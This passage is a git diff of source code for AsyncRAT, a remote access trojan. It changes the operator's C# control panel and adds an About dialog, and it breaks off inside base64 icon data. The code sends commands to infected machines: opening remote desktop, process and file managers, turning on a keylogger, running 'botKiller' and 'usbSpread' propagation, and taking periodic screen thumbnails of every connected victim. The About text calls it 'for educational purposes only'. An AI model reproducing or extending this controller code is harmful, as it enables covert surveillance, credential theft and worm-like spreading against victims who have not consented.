msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.Plugin); } - foreach (ListViewItem C in listView1.SelectedItems) + foreach (ListViewItem itm in listView1.SelectedItems) { - Clients CL = (Clients)C.Tag; - CL.LV.ForeColor = Color.Red; - ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); + Clients client = (Clients)itm.Tag; + client.LV.ForeColor = Color.Red; + ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes()); } } - SF.Close(); + formSend.Close(); } catch (Exception ex) { MessageBox.Show(ex.Message); + return; } } } @@ -322,24 +336,24 @@ namespace AsyncRAT_Sharp MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; msgpack.ForcePathObject("Option").AsString = "true"; - foreach (ListViewItem C in listView1.SelectedItems) + foreach (ListViewItem itm in listView1.SelectedItems) { - Clients CL = (Clients)C.Tag; + Clients client = (Clients)itm.Tag; this.BeginInvoke((MethodInvoker)(() => { - RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + CL.ID]; - if (RD == null) + FormRemoteDesktop remoteDesktop = (FormRemoteDesktop)Application.OpenForms["RemoteDesktop:" + client.ID]; + if (remoteDesktop == null) { - RD = new RemoteDesktop + remoteDesktop = new FormRemoteDesktop { - Name = "RemoteDesktop:" + CL.ID, + Name = "RemoteDesktop:" + client.ID, F = this, - Text = "RemoteDesktop:" + CL.ID, - C = CL, + Text = "RemoteDesktop:" + client.ID, + C = client, Active = true }; - RD.Show(); - ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); + remoteDesktop.Show(); + ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes()); } })); } @@ -347,6 +361,7 @@ namespace AsyncRAT_Sharp catch (Exception ex) { MessageBox.Show(ex.Message); + return; } } @@ -361,23 +376,23 @@ namespace AsyncRAT_Sharp MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "processManager"; msgpack.ForcePathObject("Option").AsString = "List"; - foreach (ListViewItem C in listView1.SelectedItems) + foreach (ListViewItem itm in listView1.SelectedItems) { - Clients CL = (Clients)C.Tag; + Clients client = (Clients)itm.Tag; this.BeginInvoke((MethodInvoker)(() => { - ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + CL.ID]; - if (PM == null) + FormProcessManager processManager = (FormProcessManager)Application.OpenForms["processManager:" + client.ID]; + if (processManager == null) { - PM = new ProcessManager + processManager = new FormProcessManager { - Name = "processManager:" + CL.ID, - Text = "processManager:" + CL.ID, + Name = "processManager:" + client.ID, + Text = "processManager:" + client.ID, F = this, - C = CL + C = client }; - PM.Show(); - ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); + processManager.Show(); + ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes()); } })); } @@ -386,12 +401,13 @@ namespace AsyncRAT_Sharp catch (Exception ex) { MessageBox.Show(ex.Message); + return; } } private void bUILDERToolStripMenuItem_Click(object sender, EventArgs e) { - builder.ShowDialog(); + new FormBuilder().ShowDialog(); } private void fILEMANAGERToolStripMenuItem_Click(object sender, EventArgs e) @@ -403,23 +419,23 @@ namespace AsyncRAT_Sharp MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Command").AsString = "getDrivers"; - foreach (ListViewItem C in listView1.SelectedItems) + foreach (ListViewItem itm in listView1.SelectedItems) { - Clients CL = (Clients)C.Tag; + Clients client = (Clients)itm.Tag; this.BeginInvoke((MethodInvoker)(() => { - FileManager FM = (FileManager)Application.OpenForms["fileManager:" + CL.ID]; - if (FM == null) + FormFileManager fileManager = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; + if (fileManager == null) { - FM = new FileManager + fileManager = new FormFileManager { - Name = "fileManager:" + CL.ID, - Text = "fileManager:" + CL.ID, + Name = "fileManager:" + client.ID, + Text = "fileManager:" + client.ID, F = this, - C = CL + C = client }; - FM.Show(); - ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); + fileManager.Show(); + ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes()); } })); } @@ -428,6 +444,7 @@ namespace AsyncRAT_Sharp catch (Exception ex) { MessageBox.Show(ex.Message); + return; } } @@ -440,23 +457,23 @@ namespace AsyncRAT_Sharp MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "keyLogger"; msgpack.ForcePathObject("isON").AsString = "true"; - foreach (ListViewItem C in listView1.SelectedItems) + foreach (ListViewItem itm in listView1.SelectedItems) { - Clients CL = (Clients)C.Tag; + Clients client = (Clients)itm.Tag; this.BeginInvoke((MethodInvoker)(() => { - Keylogger KL = (Keylogger)Application.OpenForms["keyLogger:" + CL.ID]; + FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + client.ID]; if (KL == null) { - KL = new Keylogger + KL = new FormKeylogger { - Name = "keyLogger:" + CL.ID, - Text = "keyLogger:" + CL.ID, + Name = "keyLogger:" + client.ID, + Text = "keyLogger:" + client.ID, F = this, - C = CL + C = client }; KL.Show(); - ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes()); } })); } @@ -465,6 +482,7 @@ namespace AsyncRAT_Sharp catch (Exception ex) { MessageBox.Show(ex.Message); + return; } } @@ -476,16 +494,16 @@ namespace AsyncRAT_Sharp { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "botKiller"; - foreach (ListViewItem C in listView1.SelectedItems) + foreach (ListViewItem itm in listView1.SelectedItems) { - Clients CL = (Clients)C.Tag; - ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); + Clients client = (Clients)itm.Tag; + ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes()); } - tabControl1.SelectedIndex = 1; } catch (Exception ex) { MessageBox.Show(ex.Message); + return; } } } @@ -498,16 +516,16 @@ namespace AsyncRAT_Sharp { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "usbSpread"; - foreach (ListViewItem C in listView1.SelectedItems) + foreach (ListViewItem itm in listView1.SelectedItems) { - Clients CL = (Clients)C.Tag; - ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); + Clients client = (Clients)itm.Tag; + ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes()); } - tabControl1.SelectedIndex = 1; } catch (Exception ex) { MessageBox.Show(ex.Message); + return; } } } @@ -516,23 +534,81 @@ namespace AsyncRAT_Sharp { if (listView1.SelectedItems.Count > 0) { - string url = Interaction.InputBox("VISIT WEBSITE", "URL", "https://www.google.com"); - if (string.IsNullOrEmpty(url)) - return; - else + try { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "visitURL"; - msgpack.ForcePathObject("URL").AsString = url; - foreach (ListViewItem C in listView1.SelectedItems) + string url = Interaction.InputBox("VISIT WEBSITE", "URL", "https://www.google.com"); + if (string.IsNullOrEmpty(url)) + return; + else { - Clients CL = (Clients)C.Tag; - ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "visitURL"; + msgpack.ForcePathObject("URL").AsString = url; + foreach (ListViewItem itm in listView1.SelectedItems) + { + Clients client = (Clients)itm.Tag; + ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes()); + } } } + catch { } } } + private void ABOUTToolStripMenuItem_Click(object sender, EventArgs e) + { + new FormAbout().ShowDialog(); + } + private void Form1_Activated(object sender, EventArgs e) + { + if (trans) + this.Opacity = 1.0; + } + + private void Form1_Deactivate(object sender, EventArgs e) + { + this.Opacity = 0.95; + } + + private static System.Threading.Timer Tick { get; set; } + private void STARTToolStripMenuItem_Click(object sender, EventArgs e) + { + Tick = new System.Threading.Timer(new TimerCallback(GetThumbnails), null, 2500, 5000); + } + private void GetThumbnails(object obj) + { + if (listView1.Items.Count > 0) + { + try + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "thumbnails"; + + foreach (ListViewItem itm in listView1.Items) + { + Clients client = (Clients)itm.Tag; + ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes()); + } + } + catch { } + } + } + + private void STOPToolStripMenuItem_Click(object sender, EventArgs e) + { + try + { + Tick?.Dispose(); + listView3.Items.Clear(); + imageList1.Images.Clear(); + foreach (ListViewItem itm in listView1.Items) + { + Clients client = (Clients)itm.Tag; + client.LV2 = null; + } + } + catch { } + } } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.resx index 165d9f9..ae76e9b 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.resx +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.resx @@ -129,6 +129,12 @@ 490, 17 + + 1262, 17 + + + 1113, 17 + 629, 17 diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormAbout.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormAbout.Designer.cs new file mode 100644 index 0000000..a6b3f93 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormAbout.Designer.cs @@ -0,0 +1,71 @@ +namespace AsyncRAT_Sharp.Forms +{ + partial class FormAbout + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormAbout)); + this.richTextBox1 = new System.Windows.Forms.RichTextBox(); + this.SuspendLayout(); + // + // richTextBox1 + // + this.richTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.richTextBox1.DetectUrls = false; + this.richTextBox1.Dock = System.Windows.Forms.DockStyle.Fill; + this.richTextBox1.Enabled = false; + this.richTextBox1.Location = new System.Drawing.Point(0, 0); + this.richTextBox1.Name = "richTextBox1"; + this.richTextBox1.ReadOnly = true; + this.richTextBox1.ShortcutsEnabled = false; + this.richTextBox1.Size = new System.Drawing.Size(526, 253); + this.richTextBox1.TabIndex = 0; + this.richTextBox1.Text = resources.GetString("richTextBox1.Text"); + this.richTextBox1.ZoomFactor = 1.1F; + // + // FormAbout + // + this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(526, 253); + this.Controls.Add(this.richTextBox1); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FormAbout"; + this.ShowInTaskbar = false; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent; + this.Text = "AsyncRAT | About"; + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.RichTextBox richTextBox1; + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormAbout.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormAbout.cs new file mode 100644 index 0000000..0b5a3e2 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormAbout.cs @@ -0,0 +1,20 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace AsyncRAT_Sharp.Forms +{ + public partial class FormAbout : Form + { + public FormAbout() + { + InitializeComponent(); + } + } +} diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormAbout.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormAbout.resx new file mode 100644 index 0000000..9804f8a --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormAbout.resx @@ -0,0 +1,589 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + │ Author : NYAN CAT + │ Name : AsyncRAT © 2019 + │ Contact : github.com/NYAN-x-CAT + + This program is distributed for educational purposes only. + + #Credits; + MessagePack @ymofen + StreamLibrary @Dergan + + + + + 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 + O//Yoln/1JhH/8R0Bv/DcQD5w3EAc8NxAADDcQAA3X0AAN19AADdfQCM3X0A/919AP/wxIz///////rt + 2//hjiP/3XwA/919AP/afAD/x3MA/8NxAP/DcAD/yX8a//Tl0f//////58eb/8RzA//DcQD/w3EAoMNx + AAHDcQAA3X0AAN19AALdfQCl3X0A/917AP/kmDb//PTq///////rs2r/3HsA/919AP/afAD/x3IA/8Nx + AP/CbwD/2KRc//79/P/89/H/0pVC/8JvAP/DcQD/w3EAuMNxAAfDcQAA3X0AAN19AAjdfQC83X0A/919 + AP/efwX/89Gk///////23r7/4IgV/96CCv/cgQr/yXgK/8V2Cv/HehH/7dOx///////t1LP/xXYK/8Nx + AP/DcQD/w3EAzcNxABHDcQAA3X0AAN19ABPdfQDR3X0A/919AP/dewD/56JJ//769P/++/j/+OPJ//ff + wf/238L/8d3C//Dcwf/y4Mf//fn1//78+v/XoVf/wm8A/8NxAP/DcQD/w3EA38NxAB7DcQAA3X0AAN19 + ACHdfQDi3X0A/919AP/dfQD/34MN//bbuv////////////////////////////////////////////Lg + x//HexP/w3AA/8NxAP/DcQD/w3EA7cNxAC/DcQAA3X0AAN19ADPdfQDv3X0A/919AP/dfQD/3XsA/+mt + Xv/+/fv//vv3/+/AhP/oq1z/26Zd/9+1ev/89/H//////92ub//CbwD/w3EA/8NxAP/DcQD/w3EA98Nx + AETDcQAA3X0AAN19AEjdfQD53X0A/919AP/dfQD/3XwA/+CIF//45cz//////+27ev/ZeAD/xW4A/9qp + Z///////9urZ/8qCIP/DcAD/w3EA/8NxAP/DcQD/w3EA/sNxAFvDcQAA3X0AAN19AGDdfQD/3X0A/919 + AP/dfQD/3X0A/918AP/tuHX///////nmzv/dhxb/ynkM/+/bvv//////4ryG/8NwAP/DcQD/w3EA/8Nx + AP/DcQD/w3EA/8NxAHTDcQAA3X0AAN19AHndfQD/3X0A/919AP/dfQD/3X0A/918AP/ijyT/+u3d///+ + /P/lp1b/15hE//369f/58uf/zosw/8JvAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAI7DcQAA3X0AAN19 + AJPdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/8MSM///////z17P/7c6l///////oyZ7/xHME/8Nx + AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAKfDcQAD3X0ABN19AKvdfQD/3X0A/919AP/dfQD/3X0A/919 + AP/dewD/5Jc0//z06v/+/Pn//vv3//z48v/TlkP/wm8A/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx + AL3DcQAL3X0ADd19AMHdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3n8F//PQo////////////+3V + tP/Fdgr/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxANHDcQAX3X0AGt19ANXdfQD/3X0A/919 + AP/dfQD/3X0A/919AP/dfQD/3XsA/+ahR//++fT//vz6/9iiWf/CbwD/w3EA/8NxAP/DcQD/w3EA/8Nx + AP/DcQD/w3EA/8NxAOLDcQAo3X0AJ919AN3dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/96D + DP/23Lv/8uLL/8d8FP/DcAD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAOjDcQA33X0ACN19 + AEXdfQCU3X0A1919APrdfQD/3X0A/919AP/dfQD/3X0A/917AP/pq1z/3Kxr/8JvAP/DcQD/w3EA/8Nx + AP/DcQD/w3EA/8NxAPvDcQDcw3EAm8NxAE3DcQAMAAAAAN19AADdfQAC3X0AG919AFbdfQCj3X0A4d19 + AP3dfQD/3X0A/919AP/cgQv/yXkN/8NwAP/DcQD/w3EA/8NxAP3DcQDlw3EAqsNxAF3DcQAfw3EAA8Nx + AAAAAAAAAAAAAAAAAAAAAAAA3X0AAN19AADdfQAE3X0AJN19AGTdfQCw3X0A5919AP3aewD/x3IA/8Nx + AP7DcQDrw3EAtsNxAGzDcQApw3EABcNxAADDcQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA3X0AAN19AADdfQAI3X0ANd19AIXafADZx3MA3sNxAI3DcQA7w3EAC8NxAADDcQAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA/4H/AP4AfwD8AD8A8AAPAMAAAwDAAAMAwAABAIAAAQCAAAEAgAABAIAA + AQCAAAEAgAABAIAAAQCAAAEAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAADAPgAHwD/AP8AKAAAACAA + AABAAAAAAQAgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAE3n0AQdp8AL3IcwDKwnEAT8NxAAfDcQAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAB3X0AKN19AI/dfQDo23wA/8dzAP/DcQDvw3EAncNx + ADLDcQACw3EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0AG919AHrdfQDe3X0A/919AP/bfAD/x3MA/8Nx + AP/DcQD/w3EA5sNxAIjDcQAjw3EAAMNxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0AEN19AGPdfQDP3X0A/d19AP/dfQD/3X0A/9t8 + AP/HcwD/w3EA/8NxAP/DcQD/w3EA/sNxANnDcQByw3EAF8NxAADDcQAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0ACd19AE7dfQC93X0A+d19AP/dfQD/3X0A/919 + AP/dfQD/23wA/8dzAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAPzDcQDIw3EAW8NxAA3DcQAAw3EAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADdfQAA3X0ABN19ADrdfQCo3X0A8919AP/dfQD/3X0A/919 + AP/dfQD/3X0A/919AP/bfAD/x3MA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD4w3EAtcNx + AEfDcQAHw3EAAAAAAAAAAAAAAAAAAAAAAADdfQAA3X0AAN19ACPdfQCS3X0A6919AP/cewD/3HsA/9x7 + AP/dfAD/3X0A/919AP/dfQD/3X0A/9t8AP/HcwD/w3EA/8NxAP/DcQD/w3EA/8NwAP/CbwD/wm8A/8Jv + AP/DcQD/w3EA8cNxAKDDcQAuw3EAAMNxAAAAAAAAAAAAAN19AADdfQAA3X0Akd19AP/dfAD/4IgV/+qx + Zv/stW7/67Rt/+KRKf/dfAD/3X0A/919AP/dfQD/23wA/8dzAP/DcQD/w3EA/8NxAP/DcAD/yoMh/9ys + a//drm7/3Kxq/8qBHP/DcAD/w3EA/8NxAKvDcQAEw3EAAAAAAAAAAAAA3X0AAN19AATdfQCv3X0A/918 + AP/fhhH/9+DC////////////8cmV/919Af/dfQD/3X0A/919AP/bfAD/x3MA/8NxAP/DcQD/w3EA/8Nw + AP/huYH////////////05tL/yYAb/8NwAP/DcQD/w3EAx8NxAA7DcQAAAAAAAAAAAADdfQAA3X0ADd19 + AMXdfQD/3X0A/917AP/rsWf///79///////67d3/4o4j/918AP/dfQD/3X0A/9t8AP/HcwD/w3EA/8Nx + AP/DcAD/yH0X//Tkz////////////+C1fP/CcAD/w3EA/8NxAP/DcQDaw3EAGsNxAAAAAAAAAAAAAN19 + AADdfQAZ3X0A2N19AP/dfQD/3XwA/+GLHP/56dP////////+/v/rs2r/3HsA/919AP/dfQD/23wA/8dz + AP/DcQD/w3EA/8JvAP/XoVf//vz6///////47uH/zIcp/8JwAP/DcQD/w3EA/8NxAOnDcQAqw3EAAAAA + AAAAAAAA3X0AAN19ACndfQDo3X0A/919AP/dfQD/3XwA/+69fv////////////bdvf/fhhL/3oAF/96A + Bv/bfwb/yHYG/8R0Bv/EdAX/xncM/+vQrP///////////+bDk//DcQL/w3EA/8NxAP/DcQD/w3EA9MNx + AD7DcQAAAAAAAAAAAADdfQAA3X0APN19APPdfQD/3X0A/919AP/dfAD/45Iq//vw4v///////vr2//be + v//12bX/9dm1//TZtf/v1rX/7ta1/+7Wtf/v2bv//Pjy///////79e3/0JE6/8JvAP/DcQD/w3EA/8Nx + AP/DcQD8w3EAVcNxAAAAAAAAAAAAAN19AADdfQBT3X0A+919AP/dfQD/3X0A/919AP/dfgL/8cmW//// + /////////////////////////////////////////////////////////////+vQqv/EdAf/w3EA/8Nx + AP/DcQD/w3EA/8NxAP/DcQBuw3EAAMNxAADdfQAA3X0AAN19AGvdfQD/3X0A/919AP/dfQD/3X0A/917 + AP/lmzz//fbu/////////////vr1//337//99/D//Pfw//v28P/8+fT////////////9+vb/1ZxP/8Jv + AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAIfDcQAAw3EAAN19AADdfQAA3X0Ahd19AP/dfQD/3X0A/919 + AP/dfQD/3X0A/96ACP/01Kz////////////z0KT/5Jcz/+KXNP/SkDT/zowy/+TAjv////////////Db + v//GeQ//w3AA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EAocNxAAHDcQAA3X0AAN19AADdfQCf3X0A/919 + AP/dfQD/3X0A/919AP/dfQD/3XsA/+ilUP/++/b///////jmzv/ghxj/2nkA/8ZxAP/Fdgz/7ti5//// + ///+/fz/26ll/8JvAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQC4w3EAB8NxAADdfQAA3X0AB919 + ALbdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfAD/34UQ//ffwP///////v37/+msXP/aegD/xnEA/9KW + RP/8+PL///////Tm0v/Jfxv/w3AA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAM3DcQARw3EAAN19 + AADdfQAQ3X0AzN19AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dewD/6rBm///+/P//////9diy/9yA + Cf/HcwL/58aZ////////////4LZ9/8NwAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA38Nx + AB/DcQAA3X0AAN19AB3dfQDe3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/918AP/gihv/+ejS//// + ///99+7/4pg5/9CHJf/47uH///////ju4f/NiCn/wnAA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx + AP/DcQDtw3EAMMNxAADdfQAA3X0ALt19AOzdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/918 + AP/uvH3////////////txI3/47R2////////////5sOV/8NyAv/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx + AP/DcQD/w3EA/8NxAPfDcQBEw3EAAN19AADdfQBD3X0A9t19AP/dfQD/3X0A/919AP/dfQD/3X0A/919 + AP/dfQD/3XwA/+KRKf/78OH///////vx5f/47d7///////v17f/Rkjv/wm8A/8NxAP/DcQD/w3EA/8Nx + AP/DcQD/w3EA/8NxAP/DcQD/w3EA/sNxAFzDcQAA3X0AAN19AFrdfQD93X0A/919AP/dfQD/3X0A/919 + AP/dfQD/3X0A/919AP/dfQD/3X0C//HIlP//////////////////////69Cs/8V1B//DcQD/w3EA/8Nx + AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EAdcNxAADdfQAA3X0Ac919AP/dfQD/3X0A/919 + AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dewD/5Zo7//327f////////////369v/WnVD/wm8A/8Nx + AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQCOw3EAAN19AADdfQCM3X0A/919 + 